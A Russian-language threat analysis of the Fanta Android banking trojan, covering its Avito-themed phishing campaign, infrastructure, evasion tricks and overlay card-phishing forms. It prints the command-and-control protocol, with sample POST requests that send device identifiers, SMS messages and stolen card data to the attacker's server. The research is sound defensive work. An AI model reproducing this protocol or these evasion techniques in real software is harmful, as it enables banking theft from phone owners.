Лейся, Fanta: новая тактика старенького Android-трояна

Лейся, Fanta: новая тактика старенького Android-трояна

Однажды вы захотите продать что-нибудь на Avito и, выложив подробное описание своего товара (например, модуль оперативной памяти), получите вот такое сообщение:

Лейся, Fanta: новая тактика старенького Android-троянаОткрыв ссылку, вы увидите с виду довольно безобидную страницу, уведомляющую вас, счастливого и успешного продавца, о совершении покупки:

Лейся, Fanta: новая тактика старенького Android-трояна
После того, как вы нажали кнопку “Продолжить”, на ваше Android-устройство будет загружен APK-файл с иконкой и названием, внушающим доверие. Вы установили приложение, которое почему-то запросило права AccessibilityService, потом появились и быстро исчезли пара окон и… Все.

Вы заходите проверить свой баланс, но ваше банковское приложение почему-то снова запрашивает данные вашей карты. После ввода данных случается страшное: по какой-то пока еще непонятной для вас причине деньги начинают исчезать с вашего счета. Вы пытаетесь решить проблему, но ваш телефон сопротивляется: сам нажимает на клавиши “Назад” и “Домой”, не выключается и не дает активировать никакие средства защиты. В итоге вы остаетесь без денег, ваш товар не куплен, вы в замешательстве и задаетесь вопросом: что случилось?

Ответ прост: вы стали жертвой Android-трояна Fanta, семейства Flexnet. Как же так вышло? Сейчас объясним.

Авторы: Андрей Половинкин, младший специалист по анализу вредоносного кода, Иван Писарев, специалист по анализу вредоносного кода.

Немного статистики

Впервые о семействе Android-троянов Flexnet стало известно еще в 2015 году. За достаточно долгий период активности семейство расширилось до нескольких подвидов: Fanta, Limebot, Lipton и т.д. Троян, как и связанная с ним инфраструктура, не стоят на месте: разрабатываются новые эффективные схемы распространения — в нашем случае качественные фишинговые страницы, нацеленные на конкретного пользователя-продавца, а разработчики трояна следуют модным трендам вирусописания — добавляют новые функциональные возможности, позволяющие эффективнее воровать деньги с зараженных устройств и обходить механизмы защиты.

Описываемая в данной статье кампания нацелена на пользователей из России, небольшое количество зараженных устройств зафиксировано на Украине, еще меньше — в Казахстане и Беларуси.

Несмотря на то, что Flexnet находится на арене Android-троянов уже более 4 лет и подробно изучен многими исследователями, он все еще в хорошей форме. Начиная с января 2019 года потенциальная сумма ущерба составляет более 35 миллионов рублей — и это только по кампаниям в России. В 2015 году различные версии данного Android-трояна продавались на андеграундных форумах, там же можно было найти и исходный код трояна с подробным описанием. А это значит, что статистика ущерба в мире еще внушительнее. Неплохой показатель для такого старичка, не так ли?

Лейся, Fanta: новая тактика старенького Android-трояна

От продажи до обмана

Как видно из представленного ранее скриншота фишинговой страницы под Интернет-сервис для размещения объявлений Avito, она готовилась под конкретную жертву. Судя по всему, злоумышленники используют один из парсеров Avito, вытаскивающий телефонный номер и имя продавца, а также описание товара. После разворачивания страницы и подготовки APK-файла жертве отправляется СМС-сообщение с его именем и ссылкой на фишинговую страницу, содержащую описание ее товара и суммы, полученной с “продажи” товара. Нажав на кнопку, пользователь получает вредоносный APK-файл — Fanta.

Исследование домена shcet491[.]ru показало, что он делегирован на DNS-серверы компании Hostinger:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Файл зоны домена содержит записи, указывающие на IP-адреса 31.220.23[.]236, 31.220.23[.]243 и 31.220.23[.]235. Однако основная ресурсная запись домена (A-запись) указывает на сервер с IP-адресом 178.132.1[.]240.

IP-адрес 178.132.1[.]240 расположен в Нидерландах и принадлежит хостеру WorldStream. IP-адреса 31.220.23[.]235, 31.220.23[.]236 и 31.220.23[.]243 расположены в Великобритании и принадлежат серверу виртуального хостинга HOSTINGER. В качестве регистратора используется openprov-ru. На IP-адрес 178.132.1[.]240 также резолвились домены:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Следует отметить, что почти со всех доменов были доступны ссылки следующего формата:

http://(www.){0,1}<%domain%>/[0-9]{7}

Под данный шаблон также попадает ссылка из СМС-сообщения. По историческим данным было обнаружено, что одному домену соответствует несколько ссылок по вышеописанному шаблону, что говорит об использовании одного домена для распространения трояна нескольким жертвам.

Забежим немного вперед: в качестве управляющего сервера загруженный по ссылке из СМС троян использует адрес onuseseddohap[.]club. Данный домен был зарегистрирован 2019-03-12, и начиная с 2019-04-29 происходило взаимодействие APK-приложений с данным доменом. Опираясь на данные, полученные с VirusTotal, всего с данным сервером взаимодействовало 109 приложений. Сам домен резолвился на IP-адрес 217.23.14[.]27, расположенный в Нидерландах и принадлежащий хостеру WorldStream. В качестве регистратора используется namecheap. На данный IP-адрес также резолвились домены bad-racoon[.]club (начиная с 2018-09-25) и bad-racoon[.]live (начиная с 2018-10-25). С доменом bad-racoon[.]club взаимодействовало более 80 APK-файлов, с bad-racoon[.]live — более 100.

В целом, ход атаки выглядит следующим образом:

Лейся, Fanta: новая тактика старенького Android-трояна

Что у Fanta под крышкой?

Как и многие другие андроид-трояны, Fanta способна читать и отправлять СМС-сообщения, совершать USSD-запросы, демонстрировать собственные окна поверх приложений (в том числе банковских). Однако в арсенале функциональных возможностей данного семейства прибыло: Fanta начала использовать AccessibilityService для разных целей: чтение содержимого уведомлений других приложений, предотвращение обнаружения и остановки исполнения трояна на зараженном устройстве и т.д. Fanta работает на всех версиях Android не моложе 4.4. В данной статье мы подробнее рассмотрим следующий Fanta-семпл:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Сразу после запуска

Непосредственно после запуска троян скрывает свою иконку. Работа приложения возможна только в том случае, если имя зараженного устройства не находится в списке:

  • android_x86
  • VirtualBox
  • Nexus 5X(bullhead)
  • Nexus 5(razor)

Данная проверка производится в главном сервисе трояна — MainService. При первом запуске происходит инициализация конфигурационных параметров приложения значениями по умолчанию (о формате хранения конфигурационных данных и их значении будет рассказано позже), а также регистрация нового зараженного устройства на управляющем сервере. На сервер будет отправлен HTTP POST-запрос с типом сообщения register_bot и информацией о зараженном устройстве (версия Android, IMEI, номер телефона, имя оператора и код страны, в которой зарегистрирован оператор). В качестве управляющего сервера выступает адрес hXXp://onuseseddohap[.]club/controller.php. В ответ сервер отправляет сообщение, в котором содержатся поля bot_id, bot_pwd, server — эти значения приложение сохраняет в качестве параметров CnC-сервера. Параметр server необязательный, если поле не было получено: Fanta использует адрес регистрации — hXXp://onuseseddohap[.]club/controller.php. Функция изменения CnC-адреса может быть применена для решения двух задач: равномерного распределения нагрузки между несколькими серверами (при большом количестве зараженных устройств нагрузка на неоптимизированный веб-сервер может быть высокой), а также для использования альтернативного сервера в случае отказа одного из CnC-серверов.

Если во время отправления запроса возникла ошибка, троян повторит процесс регистрации через 20 секунд.

После успешной регистрации устройства Fanta выведет пользователю следующее сообщение:

Лейся, Fanta: новая тактика старенького Android-трояна
Важное замечание: сервис под названием Безопасность системы — наименование сервиса трояна, и после нажатия на кнопку ОК будет открыто окно с настройками Accessibility зараженного устройства, где пользователь должен сам выдать Accessibility-права для вредоносного сервиса:

Лейся, Fanta: новая тактика старенького Android-трояна
Как только пользователь включает AccessibilityService, Fanta получает доступ к содержимому окон приложений и действиям, производимым в них:

Лейся, Fanta: новая тактика старенького Android-трояна
Сразу после получения Accessibility-прав троян запрашивает права администратора и права на чтение уведомлений:

Лейся, Fanta: новая тактика старенького Android-трояна
При помощи AccessibilityService приложение имитирует нажатия клавиш, тем самым выдавая себе все необходимые права.

Fanta создает несколько экземпляров баз данных (которые будут описаны позже), необходимых для сохранения конфигурационных данных, а также собранной в процессе информации о зараженном устройстве. Для отправления собранной информации троян создает повторяющуюся задачу, предназначенную для выгрузки полей из базы данных и получения команды от управляющего сервера. Интервал обращения к CnC устанавливается в зависимости от версии Android: в случае 5.1 интервал составит 10 секунд, иначе 60 секунд.

Для получения команды Fanta осуществляет запрос GetTask на управляющий сервер. В ответ CnC может отправить одну из следующих команд:

Команда Описание
0 Отправить СМС-сообщение
1 Выполнить телефонный звонок или USSD-команду
2 Обновляет параметр interval
3 Обновляет параметр intercept
6 Обновляет параметр smsManager
9 Начать сбор СМС-сообщений
11 Сбросить телефон до заводских настроек
12 Включение/Выключение логирования создания диалоговых окон

Fanta также собирает уведомления от 70 приложений банков, систем быстрых платежей и электронных кошельков и сохраняет их в базу данных.

Хранение конфигурационных параметров

Для хранения конфигурационных параметров Fanta использует стандартный подход для платформы Android — Preferences-файлы. Настройки будут сохранены в файл с именем settings. Описание сохраняемых параметров находится в таблице ниже.

Имя Значение по умолчанию Возможные значения Описание
id 0 Integer Идентификатор бота
server hXXp://onuseseddohap[.]club/ URL Адрес управляющего сервера
pwd String Пароль для сервера
interval 20 Integer Временной интервал. Показывает, на сколько нужно отложить выполнение следующих задач:

  • При отправке запроса о статусе отправленного СМС-сообщения
  • Получение новой команды от управляющего сервера

intercept all all/telNumber Если поле равно строке all или telNumber, тогда полученное СМС-сообщение будет перехвачено приложением и не показано пользователю
smsManager 0 0/1 Включение/выключение приложения в качестве получателя СМС по умолчанию
readDialog false True/false Включение/Выключение логирования событий AccessibilityEvent

Также Fanta использует файл smsManager:

Имя Значение по умолчанию Возможные значения Описание
pckg String Имя используемого менеджера СМС-сообщений

Взаимодействие с базами данных

В процессе своей работы троян использует две базы данных. База данных с именем a используется для хранения различной информации, собранной с телефона. Вторая база данных носит имя fanta.db и используется для сохранения настроек, отвечающих за создание фишинговых окон, предназначенных для сбора информации о банковских картах.

Троян использует базу данных а для хранения собираемой информации и логирования своих действий. Данные хранятся в таблице logs. Для создания таблицы используется следующий SQL-запрос:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

В базе данных содержится следующая информация:

1. Логирование включения зараженного устройства сообщением Телефон включился!

2. Уведомления от приложений. Сообщение формируется по следующему шаблону:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Данные банковских карт из создаваемых трояном фишинговых форм. Параметр VIEW_NAME может быть одним из списка:

  • AliExpress
  • Avito
  • Google Play
  • Разное <%App Name%>

Сообщение логируется в формате:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Входящие/исходящие СМС-сообщения в формате:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. Информация о пакете, создающем диалоговое окно в формате:

(<%Package name%>)<%Package information%>

Пример таблицы logs:

Лейся, Fanta: новая тактика старенького Android-трояна
Одной из функциональных возможностей Fanta является сбор информации о банковских картах. Сбор данных происходит за счет создания фишинговых окон при открытии банковских приложений. Троян создает фишинговое окно только один раз. Информация о том, что окно было показано пользователю, сохраняется в таблице settings в базе данных fanta.db. Для создания базы данных используется следующий SQL-запрос:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Все поля таблицы settings по умолчанию инициализируются значением 1 (создать фишинговое окно). После того, как пользователь введет свои данные, значение будет установлено в 0. Пример полей таблицы settings:

  • can_login — поле отвечает за показ формы при открытии банковского приложения
  • first_bank — не используется
  • can_avito — поле отвечает за показ формы при открытии приложения Avito
  • can_ali — поле отвечает за показ формы при открытии приложения Aliexpress
  • can_another — поле отвечает за показ формы при открытии любого приложения из списка: Юла, Pandao, Дром Авто, Кошелёк. Скидочные и бонусные карты, Aviasales, Booking, Trivago
  • can_card — поле отвечает за показ формы при открытии Google Play

Взаимодействие с управляющим сервером

Сетевое взаимодействие с управляющим сервером происходит по протоколу HTTP. Для работы с сетью Fanta использует популярную библиотеку Retrofit. Запросы отправляются по адресу hXXp://onuseseddohap[.]club/controller.php. Адрес сервера может быть изменен при регистрации на сервере. В ответ от сервера могут прийти cookie. Fanta выполняет следующие запросы на сервер:

  • Регистрация бота на управляющем сервере происходит один раз при первом запуске. На сервер отправляются следующие данные о зараженном устройстве:
    · Cookie — полученные cookie от сервера (значение по умолчанию — пустая строка)
    · mode — строковая константа register_bot
    · prefix — целочисленная константа 2
    · version_sdk — формируется по следующему шаблону: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · imei — IMEI зараженного устройства
    · country — код страны, в которой зарегистрирован оператор, в формате ISO
    · number — номер телефона
    · operator — имя оператора

    Пример запроса, отправляемого на сервер:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    В ответ на запрос сервер должен вернуть JSON-объект, содержащий следующие параметры:
    · bot_id — идентификатор зараженного устройства. В случае если bot_id будет равен 0, Fanta повторно выполнит запрос.
    · bot_pwd — пароль для сервера.
    · server — адрес управляющего сервера. Необязательный параметр. В случае если параметр не указан, будет использован адрес, сохраненный в приложении.

    Пример JSON-объекта:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • Запрос на получение команды от сервера. На сервер отправляются следующие данные:
    · Cookie — полученные cookie от сервера
    · bid — id зараженного устройства, которое было получено при отправке запроса register_bot
    · pwd —пароль для сервера
    · divice_admin — поле определяет, были ли получены права администратора. Если права администратора были получены, поле равно 1, иначе 0
    · Accessibility — статус работы Accessibility Service. Если служба была запущена, значение равно 1, иначе 0
    · SMSManager — показывает, включен ли троян как приложение по умолчанию для получения СМС
    · screen — отображает, в каком состоянии находится экран. Будет установлено значение 1, если экран включен, иначе 0;

    Пример запроса, отправляемого на сервер:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    В зависимости от команды сервер может вернуть JSON-объект с разными параметрами:

    · Команда Отправить СМС-сообщение: В параметрах содержится номер телефона, текст СМС-сообщения и идентификатор отправляемого сообщения. Идентификатор используется при отправке сообщения на сервер с типом setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Команда Выполнить телефонный звонок или USSD-команду: Номер телефона или команда приходит в теле ответа.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Команда Изменить параметр interval.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · Команда Изменить параметр intercept.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · Команда Изменить поле SmsManager.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Команда Выполнить сбор СМС-сообщений с зараженного устройства.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Команда Сбросить телефон до заводских настроек:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Команда Изменить параметр ReadDialog.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Отправка сообщения с типом setSmsStatus. Данный запрос осуществляется после исполнения команды Отправить СМС-сообщение. Запрос выглядит следующим образом:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Отправка содержимого базы данных. За один запрос передается одна строка. На сервер отправляются следующие данные:
    · Cookie — полученные cookie от сервера
    · mode — строковая константа setSaveInboxSms
    · bid — id зараженного устройства, которое было получено при отправке запроса register_bot
    · text — текст в текущей записи БД (поле d из таблицы logs в базе данных а)
    · number — наименование текущей записи БД (поле p из таблицы logs в базе данных а)
    · sms_mode — целочисленное значение (поле m из таблицы logs в базе данных а)

    Запрос выглядит следующим образом:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    При успешной отправке на сервер строка будет удалена из таблицы. Пример JSON-объекта, возвращаемого сервером:

    {
        "response":[],
        "status":"ok"
    }

Взаимодействие с AccessibilityService

AccessibilityService был реализован для облегчения использования Android-устройств людьми с ограниченными возможностями. В большинстве случаев для взаимодействия с приложением необходимо физическое взаимодействие. AccessibilityService позволяет сделать их программно. Fanta использует сервис для создания поддельных окон в банковских приложениях и препятствия открытию настроек системы и некоторых приложений.

Используя функциональные возможности AccessibilityService, троян отслеживает изменения элементов на экране зараженного устройства. Как уже было ранее описано, в настройках Fanta содержится параметр, отвечающий за логирование операций с диалоговыми окнами — readDialog. Если данный параметр установлен, в базу данных будет добавлена информация о названии и описании пакета, который инициировал событие. Троян выполняет следующие действия при срабатывании событий:

  • Имитирует нажатие клавиш назад и домой в случае:
    · если пользователь хочет перезагрузить свое устройство
    · если пользователь хочет удалить приложение “Avito” или изменить права доступа
    · если на странице есть упоминание о приложении “Avito”
    · при открытии приложения “Google Play Защита”
    · при открытии страниц с настройками AccessibilityService
    · при возникновении диалогового окна “Безопасность системы”
    · при открытии страницы с настройками “Draw over other app”
    · при открытии страницы “Приложения”, “Восстановление и сброс”, “Сброс данных”, “Сброс настроек”, “Панель разработчиков”, “Спец. возможности”, “Специальные возможности”, “Особые права”
    · если событие было сгенерировано определенными приложениями.

    Список приложений

    • android
    • Master Lite
    • Clean Master
    • Clean Master for x86 CPU
    • Meizu Applicatiom Permission Management
    • MIUI Security
    • Clean Master — Антивирус & Очистка кэша и мусора
    • Родительский контроль и GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock & Web Security Beta
    • Virus Cleaner, Antivirus, Cleaner (MAX Security)
    • Mobile AntiVirus Security PRO
    • Avast антивирус & бесплатная защита 2019
    • Mobile Security МегаФон
    • AVG Protection для Xperia
    • Мобильная Безопасность
    • Malwarebytes антивирус & защита
    • Антивирус на Андроид 2019
    • Security Master — Antivirus, VPN, AppLock, Booster
    • AVG антивирус для планшета Huawei System Manager
    • Samsung Accessibility
    • Samsung Smart Manager
    • Security Master
    • Speed Booster
    • Dr.Web
    • Dr.Web Security Space
    • Dr.Web Mobile Control Center
    • Dr.Web Security Space Life
    • Dr.Web Mobile Control Center
    • Antivirus & Mobile Security
    • Kaspersky Internet Security: Антивирус и Защита
    • Kaspersky Battery Life: Saver & Booster
    • Kaspersky Endpoint Security — защита и управление
    • AVG Антивирус бесплатно 2019 – Защита для Андроид
    • Antivirus Android
    • Norton Mobile Security and Antivirus
    • Антивирус, брандмауэр, VPN, мобильная безопасность
    • Mobile Security: антивирус, VPN, защита от кражи
    • Антивирус для Андроидa

  • Если при отправке СМС-сообщения на короткий номер запрашивается разрешение, Fanta имитирует нажатие на checkbox Запомнить выбор и кнопку отправить.
  • При попытке отобрать у трояна права администратора блокирует экран телефона.
  • Препятствует добавлению новых администраторов.
  • В случае если антивирусное приложение dr.web обнаружило угрозу, Fanta имитирует нажатие на кнопку игнорировать.
  • Троян имитирует нажатие на кнопку назад и домой, если событие было сгенерировано приложением Samsung Device Care.
  • Fanta создает фишинговые окна с формами для ввода информации о банковских картах, если было запущено приложение из списка, включающего порядка 30 различных Интернет-сервисов. Среди них: AliExpress, Booking, Avito, Компонент Google Play Market, Pandao, Дром Авто и др.

    Фишинговые формы

    Fanta анализирует, какие приложения запускаются на зараженном устройстве. Если было открыто интересующее приложение, троян демонстрирует фишинговое окно поверх всех остальных, которое представляет собой форму для ввода информации о банковской карте. Пользователю необходимо ввести следующие данные:

    • Номер карты
    • Срок действия карты
    • CVV
    • Имя держателя карты (не для всех банков)

    В зависимости от запущенного приложения будут продемонстрированы разные фишинговые окна. Далее будут представлены примеры некоторых из них:

    Aliexpress:

    Лейся, Fanta: новая тактика старенького Android-трояна
    Avito:

    Лейся, Fanta: новая тактика старенького Android-трояна
    Для некоторых других приложений, например Google Play Market, Aviasales, Pandao, Booking, Trivago:
    Лейся, Fanta: новая тактика старенького Android-трояна

    Как все было на самом деле

    К счастью, человек, получивший описанное в начале статьи СМС-сообщение, оказался специалистом в области кибербезопасности. Поэтому реальная, не режиссерская, версия отличается от рассказанной ранее: человек получил интересное СМС, после чего отдал его команде Group-IB Threat Hunting Intelligence. Результат атаки — данная статья. Счастливая концовка, не так ли? Однако, далеко не все истории заканчиваются так удачно, и, чтобы ваша не была похожа на режиссерскую версию с потерей денег, в большинстве случаев достаточно придерживаться следующих, давно описанных правил:

    • не устанавливать приложения для мобильного устройства с ОС Android из каких-либо источников, кроме Google Play
    • при установке приложения обращать особое внимание на запрашиваемые приложением права
    • обращать внимание на расширения загружаемых файлов
    • регулярно устанавливать обновления ОС Android
    • не посещать подозрительные ресурсы и не скачивать оттуда файлы
    • не переходить по ссылкам, полученным в СМС-сообщениях.

Источник: habr.com